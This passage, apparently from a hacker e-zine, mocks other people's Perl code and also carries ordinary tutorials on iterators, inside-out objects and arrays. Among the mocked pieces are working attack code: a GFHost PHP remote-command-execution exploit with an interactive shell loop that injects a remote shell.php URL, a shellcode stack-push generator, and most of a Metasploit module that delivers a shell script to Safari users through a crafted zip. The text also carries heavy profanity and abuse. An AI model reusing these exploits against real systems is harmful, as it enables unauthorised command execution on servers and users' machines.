-[0x0B] # Shit on you athias --------------------------------------------- ############################################## # GFHost explo # Spawn bash style Shell with webserver uid # Greetz SPAX, foxtwo, Zone-H # This Script is currently under development # no shit fucktard - you didn't even finish the title ############################################## use strict; use IO::Socket; my $host; my $port; my $command; my $url; my @results; my $probe; my @U; # Get that on one line. NOW $U[1] = "/dl.php?a=0.1&OUR_FILE=ff24404eeac528b". "&f=http://srv/shell.php&cmd="; &intro; &scan; &choose; &command; &exit; # fuck man. Do you know what & is? # why don't you call the sub like a man. exit(); sub intro { &help; &host; &server; sleep 1; }; # who the hell writes subs for that # especially to use it just ONCE sub host { print "\nHost or IP : "; $host=; chomp $host; # chomp (my $host = ); if ($host eq ""){$host="127.0.0.1"}; # $host ||= "127.0.0.1"; print "\nPort (enter to accept 80): "; $port=; chomp $port; if ($port =~/\D/ ){$port="80"}; if ($port eq "" ) {$port = "80"}; # Same lame shit, and don't quote numbers }; sub server { my $X; print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; # we have x, print "\n" x big_int; use it $probe = "string"; # my $probe = "your shit code"; my $output; my $webserver = "something"; # not defining these above? &connect; for ($X=0; $X<=10; $X++){ # for my $x (0 .. 10) { $output = $results[$X]; if (defined $output){ # if ($output) { # NOOB if ($output =~/apache/){ $webserver = "apache" }; }; }; if ($webserver ne "apache"){ my $choice = "y"; chomp $choice; # oh yes, chomp that...WHY if ($choice =~/N/i) {&exit}; # this will happen WHEN? }else{ print "\n\nOK"; }; }; sub scan { my $status = "not_vulnerable"; # got that wrong! :P # OK this shit goes on forever and doesn't get any better # I'm done # actually let me first introduce you to Acme::Bleach # would work perfectly here # use Acme::Bleach; # should be at the beginning of this program print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; my $loop; my $output; my $flag; $command="dir"; for ($loop=1; $loop < @U; $loop++) { $flag = "0"; $url = $U[$loop]; $probe = "scan"; &connect; foreach $output (@results){ if ($output =~ /Directory/) { $flag = "1"; $status = "vulnerable"; }; }; if ($flag eq "0") { }else{ }; }; if ($status eq "not_vulnerable"){ }; }; sub choose { my $choice="1"; chomp $choice; if ($choice > @U){ &choose }; if ($choice =~/\D/g ){ &choose }; if ($choice == 0){ &other }; $url = $U[$choice]; }; sub other { my $other = ; chomp $other; $U[0] = $other; }; sub command { while ($command !~/quit/i) { print "[$host]\$ "; $command = ; chomp $command; if ($command =~/quit/i) { &exit }; if ($command =~/url/i) { &choose }; if ($command =~/scan/i) { &scan }; if ($command =~/help/i) { &help }; $command =~ s/\s/+/g; $probe = "command"; if ($command !~/quit|url|scan|help/) {&connect}; }; &exit; }; sub connect { my $connection = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port", ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n"; $connection -> autoflush(1); if ($probe =~/command|scan/){ print $connection "GET $url$command HTTP/1.1\r\nHost: $host\r\n\r\n"; }elsif ($probe =~/string/) { print $connection "HEAD / HTTP/1.1\r\nHost: $host\r\n\r\n"; }; while ( <$connection> ) { @results = <$connection>; }; close $connection; if ($probe eq "command"){ &output }; if ($probe eq "string"){ &output }; }; sub output{ my $display; if ($probe eq "string") { my $X; for ($X=0; $X<=10; $X++) { $display = $results[$X]; if (defined $display){print "$display";}; }; }else{ foreach $display (@results){ print "$display"; }; }; }; sub exit{ print "\n\n\n ORP"; exit; }; sub help { print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; print "\n GFHost PHP GMail Command Execution Vulnerability by SPABAM 2004" ; print "\n http://www.zone-h.org/advisories/read/id=4904 "; print "\n GFHost.pl Exploit v1.1"; print "\n \n note.. Script under DEVEL"; print "\n"; print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)"; print "\n Command: SCAN URL HELP QUIT"; print "\n\n\n\n\n\n\n\n\n\n\n"; }; -[0x0C] # Intermission --------------------------------------------------- Nietzsche: God is dead Paul Elstak: I am a God Not quite the comparison I was expecting. not quite contradictory Nietzsche was an athiest philosopher, not an egotist. yes, he was an egoist, not an egotist Who believed in the moral authority of individuals. he embraced a God form, but not a lie Nietzsche embraced the God of one, much like Paul Elstak Whatever. Back to the Perl God. Praise the Lord -[0x0D] # School You: Limbic~Region -------------------------------------- The purpose of this tutorial is to give a general overview of what iterators are, why they are useful, how to build them, and things to consider to avoid common pitfalls. I intend to give the reader enough information to begin using iterators, though this article assumes some understanding of idiomatic Perl programming. Please consult the "See Also" section if you need supplemental information. What Is an Iterator? Iterators come in many forms, and you have probably used one without even knowing it. The readline and glob functions, as well as the flip-flop operator, are all iterators when used in scalar context. A user-defined iterator usually takes the form of a code reference that, when executed, calculates the next item in a list and returns it. When the iterator reaches the end of the list, it returns an agreed-upon value. While implementations vary, a subroutine that creates a closure around any necessary state variables and returns the code reference is common. This technique is called a factory and facilitates code reuse. Why Are Iterators Useful? The most straightforward way to use a list is to define an algorithm to generate the list and store the results in an array. There are several reasons why you might want to consider an iterator instead: Related Reading Learning Perl By Randal L. Schwartz, Tom Phoenix, brian d foy Table of Contents Index Sample Chapter Read Online--Safari Search this book on Safari: Code Fragments only The list in its entirety would use too much memory. Iterators have tiny memory footprints, because they can store only the state information necessary to calculate the next item. The list is infinite. Iterators return after each iteration, allowing the traversal of an infinite list to stop at any point. The list should be circular. Iterators contain state information, as well as logic allowing a list to wrap around. The list is large but you only need a few items. Iterators allow you to stop at any time, avoiding the need to calculate any more items than is necessary. The list needs to be duplicated, split, or variated. Iterators are lightweight and have their own copies of state variables. How to Build an Iterator The basic structure of an iterator factory looks like this: sub gen_iterator { my @initial_info = @_; my ($current_state, $done); return sub { # code to calculate $next_state or $done; return undef if $done; return $current_state = $next_state; }; } To make the factory more flexible, the factory may take arguments to decide how to create the iterator. The factory declares all necessary state variables and possibly initializes them. It then returns a code reference--in the same scope as the state variables--to the caller, completing the transaction. Upon each execution of the code reference, the state variables are updated and the next item is returned, until the iterator has exhausted the list. The basic usage of an iterator looks like this: my $next = gen_iterator( 42 ); while ( my $item = $next->() ) { print "$item\n"; } Example: The List in Its Entirety Would Use Too Much Memory You work in genetics and you need every possible sequence of DNA strands of lengths 1 to 14. Even if there were no memory overhead in using arrays, it would still take nearly five gigabytes of memory to accommodate the full list. Iterators come to the rescue: my @DNA = qw/A C T G/; my $seq = gen_permutate(14, @DNA); while ( my $strand = $seq->() ) { print "$strand\n"; } sub gen_permutate { my ($max, @list) = @_; my @curr; return sub { if ( (join '', map { $list[ $_ ] } @curr) eq $list[ -1 ] x @curr ) { @curr = (0) x (@curr + 1); } else { my $pos = @curr; while ( --$pos > -1 ) { ++$curr[ $pos ], last if $curr[ $pos ] < $#list; $curr[ $pos ] = 0; } } return undef if @curr > $max; return join '', map { $list[ $_ ] } @curr; }; } Example: The List Is Infinite You need to assign IDs to all current and future employees and ensure that it is possible to determine if an ID is valid with nothing more than the number itself. You have already taken care of persistence and number validation (using the LUHN formula). Iterators take care of the rest: my $start = $ARGV[0] || 999999; my $next_id = gen_id( $start ); print $next_id->(), "\n" for 1 .. 10; # Next 10 IDs sub gen_id { my $curr = shift; return sub { 0 while ! is_valid( ++$curr ); return $curr; }; } sub is_valid { my ($num, $chk) = (shift, ''); my $tot; for ( 0 .. length($num) - 1 ) { my $dig = substr($num, $_, 1); $_ % 2 ? ($chk .= $dig * 2) : ($tot += $dig); } $tot += $_ for split //, $chk; return $tot % 10 == 0 ? 1 : 0; } Example: The List Should Be Circular You need to support legacy apps with hardcoded filenames, but want to keep logs for three days before overwriting them. You have everything you need except a way to keep track of which file to write to: my $next_file = rotate( qw/FileA FileB FileC/ ); print $next_file->(), "\n" for 1 .. 10; sub rotate { my @list = @_; my $index = -1; return sub { $index++; $index = 0 if $index > $#list; return $list[ $index ]; }; } Adding one state variable and an additional check would provide the ability to loop a user-defined number of times. Example: The List Is Large But Only a Few Items May Be Needed You have forgotten the password to your DSL modem and the vendor charges more than the cost of a replacement to unlock it. Fortunately, you remember that it was only four lowercase characters: while ( my $pass = $next_pw->() ) { if ( unlock( $pass ) ) { print "$pass\n"; last; } } sub fix_size_perm { my ($size, @list) = @_; my @curr = (0) x ($size - 1); push @curr, -1; return sub { if ( (join '', map { $list[ $_ ] } @curr) eq $list[ -1 ] x @curr ) { @curr = (0) x (@curr + 1); } else { my $pos = @curr; while ( --$pos > -1 ) { ++$curr[ $pos ], last if $curr[ $pos ] < $#list; $curr[ $pos ] = 0; } } return undef if @curr > $size; return join '', map { $list[ $_ ] } @curr; }; } sub unlock { $_[0] eq 'john' } Example: The List Needs To Be Duplicated, Split, or Modified into Multiple Variants Duplicating the list is useful when each item of the list requires multiple functions applied to it, if you can apply them in parallel. If there is only one function, it may be advantageous to break the list up and run duplicate copies of the function. In some cases, multiple variations are necessary, which is why factories are so useful. For instance, multiple lists of different letters might come in handy when writing a crossword solver. The following example uses the idea of breaking up the list to enhance the employee ID example. Assigning ranges to departments adds additional meaning to the ID. my %lookup; @lookup{ qw/sales support security management/ } = map { { start => $_ * 10_000 } } 1..4; $lookup{$_}{iter} = gen_id( $lookup{$_}{start} ) for keys %lookup; # .... my $dept = $employee->dept; my $id = $lookup{$dept}{id}(); $employee->id( $id ); Things To Consider The iterator's @_ is Different Than the Factory's The following code doesn't work as you might expect: sub gen_greeting { return sub { print "Hello ", $_[0] }; } my $greeting = gen_greeting( 'world' ); $greeting->(); It may seem obvious, but closures need lexicals to close over, as each subroutine has its own @_. The fix is simple: sub gen_greeting { my $msg = shift; return sub { print "Hello ", $msg }; } The Return Value Indicating Exhaustion Is Important Attempt to identify a value that will never occur in the list. Using undef is usually safe, but not always. Document your choice well, so calling code can behave correctly. Using while ( my $answer = $next->() ) { ... } would result in an infinite loop if 42 indicated exhaustion. If it is not possible to know in advance valid values in the list, allow users to define their own values as an argument to the factory. References to External Variables for State May Cause Problems Problems can arise when factory arguments needed to maintain state are references. This is because the variable being referred to can have its value changed at any time during the course of iteration. A solution might be to de-reference and make a copy of the result. In the case of large hashes or arrays, this may be counterproductive to the ultimate goal. Document your solution and your assumptions so that the caller knows what to expect. You May Need to Handle Edge Cases Sometimes, the first or the last item in a list requires more logic than the others in the list. Consider the following iterator for the Fibonacci numbers: sub gen_fib { my ($low, $high) = (1, 0); return sub { ($low, $high) = ($high, $low + $high); return $high; }; } my $fib = gen_fib(); print $fib->(), "\n" for 1 .. 20; Besides the funny initialization of $low being greater than $high, it also misses 0, which should be the first item returned. Here is one way to handle it: sub gen_fib { my ($low, $high) = (1, 0); my $seen_edge; return sub { return 0 if ! $seen_edge++; ($low, $high) = ($high, $low + $high); return $high; }; } State Variables Persist As Long As the Iterator Reaching the end of the list does not necessarily free the iterator and state variables. Because Perl uses reference counting for its garbage collection, the state variables will exist as long as the iterator does. Though most iterators have a small memory footprint, this is not always the case. Even if a single iterator doesn't consume a large amount of memory, it isn't always possible to forsee how many iterators a program will create. Be sure to document how the caller can destroy the iterator when necessary. In addition to documentation, you may also want to undef the state variables at exhaustion, and perhaps warn the caller if the iterator is being called after exhaustion. sub gen_countdown { my $curr = shift; return sub { return $curr++ || 'blast off'; } } my $t = gen_countdown( -10 ); print $t->(), "\n" for 1..12; # off by 1 error Becomes: sub gen_countdown { my $curr = shift; return sub { if ( defined $curr && $curr == 0 ) { undef $curr, return 'blast off'; } warn 'List already exhausted' and return if ! $curr; return $curr++; } } -[0x0E] # rape skape ----------------------------------------------------- #!/usr/bin/perl # skape I'll hand it to you, unlike most featured you can code. # you just need to learn to code Perl, or at least better # you like my(), back it up with use strict, wimp if (not defined($ARGV[0])) { # old habits die hard, must be your PHP heritage print "Usage: ./stackpush.pl [string] [clobber register (default=eax)] [intel/att]\n"; exit; } my $nullTerminate = 1; my $clobber = lc((defined($ARGV[1]) ? $ARGV[1] : 'eax')); my $style = lc((defined($ARGV[2]) ? $ARGV[2] : 'intel')); my $current = $ARGV[0]; # my $current = shift; # my $clobber = shift || 'eax'; # my $style = shift || 'intel'; # really don't need defined() here either... my $buf = ""; my $static = ""; # don't need the = "" part, at all... # in Perl we have undef() for when you do (which ISN'T HERE), its much more tasteful my %registerHash; $registerHash{'eax'} = { name => 'eax', masq => { b32 => 'eax', b16 => 'ax', b8 => 'al' } }; $registerHash{'ebx'} = { name => 'ebx', masq => { b32 => 'ebx', b16 => 'bx', b8 => 'bl' } }; $registerHash{'ecx'} = { name => 'ecx', masq => { b32 => 'ecx', b16 => 'cx', b8 => 'cl' } }; $registerHash{'edx'} = { name => 'edx', masq => { b32 => 'edx', b16 => 'dx', b8 => 'dl' } }; $registerHash{'edi'} = { name => 'edi', masq => { b32 => 'edi', b16 => 'di', b8 => undef } }; $registerHash{'esi'} = { name => 'esi', masq => { b32 => 'esi', b16 => 'si', b8 => undef } }; $registerHash{'esp'} = { name => 'esp', masq => { b32 => 'esp', b16 => 'sp', b8 => undef } }; $registerHash{'ebp'} = { name => 'ebp', masq => { b32 => 'ebp', b16 => 'bp', b8 => undef } }; # hey, you know undef! sweet # now if only that name wasn't so redundent and you limited the complexity of your data structure if (not defined($registerHash{$clobber})) { print "Register $clobber is not a valid clobber register.\n"; exit; } # one-line it! # die "Register $clobber is not a valid clobber register.\n" unless $registerHash{$clobber}; if ($style eq 'att') { $registerHash{$clobber}->{'masq'}->{'b32'} = "\%" . $registerHash{$clobber}->{'masq'}->{'b32'}; $registerHash{$clobber}->{'masq'}->{'b16'} = "\%" . $registerHash{$clobber}->{'masq'}->{'b16'}; if (defined($registerHash{$clobber}->{'masq'}->{'b8'})) { $registerHash{$clobber}->{'masq'}->{'b8'} = "\%" . $registerHash{$clobber}->{'masq'}->{'b8'}; } $static = "\$"; } if ($nullTerminate) { my $nullpad = length($current) % 4; # I work for Save the Parens organization, please get those parentheses out of here and the following occurances if ($nullpad == 0) { $buf .= getInstruction(op => 'xor', src => $registerHash{$clobber}->{'masq'}->{'b32'}, dst => $registerHash{$clobber}->{'masq'}->{'b32'}) . "\n"; $buf .= getInstruction(op => 'push', src => $registerHash{$clobber}->{'masq'}->{'b32'}) . "\n"; # not how I would have structured it, but TIMTOWTDI } else { my $sub = getBytes(string => $current, max => $nullpad, asHex => 1); my $bitsub; my $match; my $reg = undef; # one-line it! one-line it! my $reg32 = $registerHash{$clobber}->{'masq'}->{'b32'}; if (length($sub) == 2) { $reg = $registerHash{$clobber}->{'masq'}->{'b8'}; $bitsub = "414141$sub"; $match = "929292ff"; } elsif (length($sub) == 4) { $reg = $registerHash{$clobber}->{'masq'}->{'b16'}; $bitsub = "4141$sub"; $match = "9292ffff"; } elsif (length($sub) == 6) { $reg = $registerHash{$clobber}->{'masq'}->{'b32'}; $bitsub = "41$sub"; $match = "92ffffff"; } if (not defined($reg) or length($sub) >= 6) { $buf .= getInstruction(op => 'mov', src => $static . "0x" . $bitsub, dst => $reg32) . "\n"; $buf .= getInstruction(op => 'and', src => $static . "0x" . $match, dst => $reg32) . "\n"; } else { $buf .= getInstruction(op => 'xor', src => $reg32, dst => $reg32) . "\n"; $buf .= getInstruction(op => 'mov', src => $static . "0x" . $sub, dst => $reg) . "\n"; } # get rid of those final . "\n"s above and put that here $buf .= getInstruction(op => 'push', src => $reg32) . "\n"; } $current = karate(string => $current, bytes => $nullpad); } while (defined($current)) { my $sub = getBytes(string => $current, max => 4, asHex => 1); if (length($sub) == 0) { last; } # one-line it! one-line it! $buf .= "push $static" . "0x" . $sub . "\n"; $current = karate(string => $current, bytes => 4); } print $buf; sub getBytes { my ($string, $max, $asHex) = @{{@_}}{qw/string max asHex/}; # GOOD. didn't expect to see that # Oh wait, except that that complexity really isn't necessary - AT ALL my $ret = ""; # BAD if (not defined($max)) { $max = 4; } # BAD if (length($string) < $max) { $ret = $string; } else { $ret = substr($string, length($string) - $max, $max); } # BAD if ($asHex) { # GOOD. Looks like you don't need defined() everywhere, huh? my $c = ""; my $index = $max - 1; my $x; while ($index >= 0 and $x = substr($ret, $index--, 1)) { $c .= sprintf("%.2x", ord($x) & 0xff); } $ret = $c; # BAD } return $ret; } sub getInstruction { my ($op, $src, $dst) = @{{@_}}{qw/op src dst/}; if ($style eq 'att') { return "$op $src" . ((defined($dst))?", $dst" : ""); } else { if (not defined($dst)) { return "$op $src"; } else { return "$op $dst, $src"; } } # ouch. learn some code conservation } sub karate { my ($string, $bytes) = @{{@_}}{qw/string bytes/}; if (length($string) <= $bytes) { return undef; } return substr($string, 0, length($string) - $bytes); } -[0x0F] # To envision a stack -------------------------------------------- Let's talk about stacks. Stacks are stacks. We use a LIFO (last in first out) stack. For a moment, and just a moment, let's imagine that Perl's arrays are stacks. You may well know the 'push' option to push an item onto the 'top' of this stack. You should know of 'pop' to take an item off the top of this stack. Historically, this is how we do it. However, in Perl we can do the same to either end of the stack. We can use 'shift' to shift an item out from the 'bottom' of the stack. Or use 'unshift' to add an object to the bottom of this stack. Conveniently, those will work by default on @ARGV. Due to this, we can use code such as 'my $call = shift;' instead of something like 'my $call = $ARGV[0]'. Let's stop thinking of Perl arrays as stacks. They really aren't very stack-like. I just use the example to try to get some form of communication to your simple minds. If you want to put a physical image to Perl arrays, think of them as a hollow cylinder lying on its side. You can add or remove from either end. Unlike some other languages, removing from the bottom of this array doesn't require that the other values all be shifted down, they only appear shifted down. Perl arrays grow both ways, there is no difference. Don't believe me? Whip out Benchmark.pm and time the operations. That is, if you can figure out how to use it. Why am I explaining this? Here I am, questioning myself over this very dull description of a very simple concept. Yet, it must be justified, because so few of you actually understand and use it. Where is the creativity? Why, when given some power, you shrink from it and fear it, instead of reaching out and grasping hold of it? Anyways, to continue, and get to the point On second thought, FUCK IT, you are a waste of my fucking time. -[0x10] # School You: merlyn --------------------------------------------- Unix Review Column 63 (Mar 2006) [suggested title: ``Inside-out Objects''] In [my previous article], I created a traditional hash-based Perl object: a Rectangle with two attributes (width and height) using the constructor and accessors like so: package Rectangle; sub new { my $class = shift; my %args = @_; my $self = { width => $args{width} || 0; height => $args{height} || 0; }; return bless $self, $class; } sub width { my $self = shift; return $self->{width}; } sub set_width { my $self = shift; $self->{width} = shift; } sub height { my $self = shift; return $self->{height}; } sub set_height { my $self = shift; $self->{height} = shift; } I can construct a 3-by-4 rectangle easily: my $r = Rectangle->new(width => 3, height => 4); At this point, $r is an object of type Rectangle, but it's also simply a hashref. For example, the code in set_width merely deferences a value like $r to gain access to the hash element with a key of width. But does Perl require such code to be located within the Rectangle package? No. As a user of the Rectangle class, I could easily say: $r->{width} = 5; and update the width from 3 to 5. This is ``peering inside the box'', and will lead to fragile code, because we've now exposed the implementation of the object, not just the interface. For example, suppose we modify the set_width method to ensure that the width is never negative: use Carp qw(croak); sub set_width { my $self = shift; my $width = shift; croak "$self: width cannot be negative: $width" if $width < 0; $self->{width} = $width; } If the $width is less than 0, we croak, triggering a fatal exception, but blaming the caller of this method. (We don't blame ourselves, and croak is a great way to pass the blame.) At this point, we'll trap erroneous settings: $r->set_width(-3); # will die But if someone has broken the box open, we get no fault: $r->{width} = -3; # no death This is bad, because the author of the Rectangle class no longer controls behavior for the objects, because the data implementation has been exposed. Besides exposing the implementation, another problem is that I have to be careful of typos. Suppose in rewriting the set_width method, I accidentally transposed the last two letters of the hash key: $self->{widht} = $width; This is perfectly legal Perl, and would not throw any compile-time or run-time errors. Even use strict isn't helping here, because I'm not misspelling a variable name: just naming a ``new'' hash key. Without good unit tests and integration tests, I might not even catch this error. Yes, there are some solutions to ensure that a hash's keys come from only a particular set of permitted keys, but these generally slow down the hash access significantly. We can solve both of these problems at once, without significantly impacting the performance of our programs by using what's come to be known as an inside-out object. First popularized by Damian Conway in the neoclassic Object-Oriented Perl book, an inside-out object creates a series of parallel hashes for the attributes (much like we had to do back in the Perl4 days before we had hashrefs). For example, instead of creating a single object for a rectangle that is 3 by 4: my $r = { width => 3, height => 4 }; we can record its attributes in two separate hashes, keyed by some unique string: my $r = "some unique string"; $width{$r} = 3; $height{$r} = 4; Now, to get the height of the rectangle, we use the unique string: my $width = $width{$r}; and to update the height, we use that same string: $height{$r} = 10; When we turn on use strict, and declare the %width and %height attribute hashes, this will trap any typos related to attribute names: use strict; my %width; my %height; ... my $r = "another unique string"; $height{$r} = 7; # ok $widht{$r} = 3; # won't compile! The typo on the width is now caught, because we don't have a %widht hash. Hooray. That solves the second problem. But how do we solve the first problem, and where do we get this ``unique string'', and how do we get methods on our object? If I assign a blessed anonymous empty hash to $r: my $r = bless {}, "Rectangle"; then when the value of $r is used as a string, I get a nice unique string: Rectangle=HASH(0x400180FE) where the number comes from the hex representation of the internal memory address of the object. As long as this reference is alive, that memory address will not be reused. Aha, there's our unique string: sub new_7_by_3 { my $self = bless {}, shift; $height{$self} = 7; $width{$self} = 3; return $self; } And this is what our constructor does! By blessing the object, we'll return to the same package for methods. By having an anonymous hashref, we're guaranteed a unique number. And as long as the lexical %height and %width hashes are in scope, we can access and update the attributes. But what are we returning? Sure, it's a hashref, but it's empty. There's no code that we can use to get from $r to the attribute hashes: my $r = Rectangle->new_7_by_3; The only way we can get the height is to have code in same scope as the definitions of the attribute hashes: sub height { my $self = shift; return $height{$self}; } And then we can use that code in our main program: my $height = $r->height; The first parameter is $r, which gets used only for its unique string value, as a key into the lexical %height hash! It all Just Works. Well, for some meaning of Works. We still have a couple of things to fix. First, there's really no reason to make an anonymous hash, because we never put anything into it, so we might as well make it a scalar: my $self = bless \(my $dummy), shift; Because Perl doesn't have a primitive anonymous scalar constructor, I'm cheating by making a $dummy variable. Second, we've got some tidying up to do. When a value is no longer being referenced by any variable, we say it goes out of scope. When a traditional hashref based object goes out of scope, any elements of the hash are also discarded, usually causing the values to also go out of scope (unless they are also referenced by some other live value). This all happens quite automatically and efficiently. However, when our inside-out object goes out of scope, it doesn't ``contain'' anything. However, its address-as-a-string is being used in one or more attribute hashes, and we need to get rid of those to mimic the traditional object mechanism. So, we'll need to add a DESTROY method: sub DESTROY { my $dead_body = $_[0]; delete $height{$dead_body}; delete $width{$dead_body}; my $super = $dead_body->can("SUPER::DESTROY"); goto &$super if $super; } Note that after deleting our attributes, we also call any superclass destructor, so that it has a chance to clean up too. Let's put it all together: package Rectangle; my %width; my %height; sub new { my $class = shift; my %args = @_; my $self = bless \(my $dummy), $class; $width{$self} = $args{width} || 0; $height{$self} = $args{height} || 0; return $self; } sub DESTROY { my $dead_body = $_[0]; delete $height{$dead_body}; delete $width{$dead_body}; my $super = $dead_body->can("SUPER::DESTROY"); goto &$super if $super; } sub width { my $self = shift; return $width{$self}; } sub set_width { my $self = shift; $width{$self} = shift; } sub height { my $self = shift; return $height{$self}; } sub set_height { my $self = shift; $height{$self} = shift; } Not bad! Only slightly more complex than a traditional hashref implementation, and a lot safer for the ``outside''. Of course, this is a lot of code to get right, so the best thing is to let someone else do the hard work. See Class::Std and Object::InsideOut for some budding frameworks to build these objects. Until next time, enjoy! -[0x11] # Metajoke some Metasploit --------------------------------------- ## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## # the Infamous metawire project package Msf::Exploit::safari_safefiles_exec; use strict; use base "Msf::Exploit"; use Pex::Text; use IO::Socket::INET; use IPC::Open3; use FindBin qw{$RealBin}; # change it change it my $advanced = { 'Gzip' => [1, 'Enable gzip content encoding'], 'Chunked' => [1, 'Enable chunked transfer encoding'], }; my $info = { 'Name' => 'Safari Archive Metadata Command Execution', 'Version' => '$Revision: 1.3 $', 'Authors' => [ 'H D Moore Pex::Text::Freeform(qq{ This module exploits a vulnerability in Safari's "Safe file" feature, which will automatically open any file with one of the allowed extensions. This can be abused by supplying a zip file, containing a shell script, with a metafile indicating that the file should be opened by Terminal.app. This module depends on the 'zip' command-line utility. }), 'Arch' => [ ], 'OS' => [ ], 'Priv' => 0, 'UserOpts' => { 'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ], 'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ], 'REALHOST' => [ 0, 'HOST', 'External address to use for redirects (NAT)' ], }, 'Payload' => { 'Space' => 8000, 'MinNops' => 0, 'MaxNops' => 0, 'Keys' => ['cmd', 'cmd_bash'], }, 'Refs' => [ ['URL', 'http://www.heise.de/english/newsticker/news/69862'], ['BID', '16736'], ], 'DefaultTarget' => 0, 'Targets' => [ [ 'Automatic' ] ], 'Keys' => [ 'safari' ], 'DisclosureDate' => 'Feb 21 2006', }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } # stop scrolling and look here! sub Exploit { # alright! past the framework overhead, finally my $self = shift; my $server = IO::Socket::INET->new( LocalHost => $self->GetVar('HTTPHOST'), LocalPort => $self->GetVar('HTTPPORT'), ReuseAddr => 1, Listen => 1, Proto => 'tcp' ); my $client; # Did the listener create fail? if (not defined($server)) { # how about you use that 'or' shit thats all the rage now and save some typing ' $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT')); return; } my $httphost = $self->GetVar('HTTPHOST'); $httphost = Pex::Utils::SourceIP('1.2.3.4') if $httphost eq '0.0.0.0'; $self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/"); while (defined($client = $server->accept())) { $self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client)); } return; } sub HandleHttpClient { my $self = shift; my $fd = shift; # Set the remote host information my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr); # Read the HTTP command my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3); my $agent; # Read in the HTTP headers while ((my $line = $fd->RecvLine(10))) { $line =~ s/^\s+|\s+$//g; my ($var, $val) = split(/\:/, $line, 2); # Break out if we reach the end of the headers last if (not defined($var) or not defined($val)); $agent = $val if $var =~ /User-Agent/i; } my $target = $self->Targets->[$self->GetVar('TARGET')]; my $shellcode = $self->GetVar('EncodedPayload')->RawPayload; my $content = $self->CreateZip($shellcode) || return; # || or its all the same $self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)." bytes of payload..."); $fd->Send($self->BuildResponse($content)); select(undef, undef, undef, 0.1); $fd->Close(); } sub RandomHeaders { my $self = shift; my $head = ''; # undef, bitch while (length($head) < 3072) { $head .= "X-" . Pex::Text::AlphaNumText(int(rand(30) + 5)) . ': ' . Pex::Text::AlphaNumText(int(rand(256) + 5)) ."\r\n"; } return $head; } sub BuildResponse { my ($self, $content) = @_; my $response = "HTTP/1.1 200 OK\r\n" . $self->RandomHeaders() . "Content-Type: application/zip\r\n"; if ($self->GetVar('Gzip')) { $response .= "Content-Encoding: gzip\r\n"; $content = $self->Gzip($content); } if ($self->GetVar('Chunked')) { $response .= "Transfer-Encoding: chunked\r\n"; $content = $self->Chunk($content); } else { $response .= 'Content-Length: ' . length($content) . "\r\n" . "Connection: close\r\n"; } $response .= "\r\n" . $content; return $response; } sub Chunk { my ($self, $content) = @_; my $chunked; while (length($content)) { my $chunk = substr($content, 0, int(rand(10) + 1), ''); $chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n"; } $chunked .= "0\r\n\r\n"; return $chunked; } sub Gzip { my $self = shift; my $data = shift; my $comp = int(rand(5))+5; my($wtr, $rdr, $err); my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force'); print $wtr $data; close ($wtr); local $/; # hehe return (<$rdr>); } # Lame! # agreed! sub CreateZip { my $self = shift; my $cmds = shift; my $data = $cmds."\n"; my $name = Pex::Text::AlphaNumText(int(rand(10)+4)).".mov"; my $temp = ($ENV{'HOME'} || $RealBin || "/tmp") . "/msf_safari_temp_".Pex::Text::AlphaNumText(16); if ($self->GotZip != 0) { $self->PrintLine("[*] Could not execute the zip command (or zip returned an error)"); return; } # so now its ! instead of not? make up your mind if (! mkdir($temp,0755)) { $self->PrintLine("[*] Could not create a temporary directory: $!"); return; } if (! chdir($temp)) { $self->PrintLine("[*] Could not change into temporary directory: $!"); $self->Nuke($temp); return; } if (! mkdir("$temp/__MACOSX",0755)) { $self->PrintLine("[*] Could not create the MACOSX temporary directory: $!"); return $self->Nuke($temp); return; } if (! open(TMP, ">$temp/$name")) { # oh yeah! two argument vulnerable open $self->PrintLine("[*] Could not create the shell script: $!"); $self->Nuke($temp); return; } print TMP $data; close(TMP); # This is important :) chmod(0755, "$temp/$name"); # For demanding an exhaustive framework and format # you'd think there'd be some standard enforcement # on shit like this if (! open(TMP, ">$temp/__MACOSX/._".$name)) { $self->PrintLine("[*] Could not create the metafile: $!"); $self->Nuke($temp); return; } print TMP $self->OSXMetaFile; close(TMP); system("zip", "exploit.zip", $name, "__MACOSX/._".$name); # yeah...no. if( ! open(TMP, "<"."exploit.zip")) { $self->PrintLine("[*] Failed to create exploit.zip (weird zip command?)"); $self->Nuke($temp); return; } my $xzip; while () { $xzip .= $_ } # nasty slurp. close (TMP); $self->Nuke($temp); return $xzip; } sub Nuke { my $self = shift; my $temp = shift; system("rm", "-rf", $temp); # sigh... return; } sub GotZip { return system("zip -h >/dev/null 2>&1"); # what's this? decided to quote it all at once now? # be consistent, jerkwad } # ok, you of all fuckers need to use the repetition operator # really, how many nulls is that? COUNT THEM. # there must be 200 uninterrupted, and then a block twice that # so FUCK YOU sub OSXMetaFile { return "\x00\x05\x16\x07\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x09\x00\x00". "\x00\x32\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x52\x00\x00". 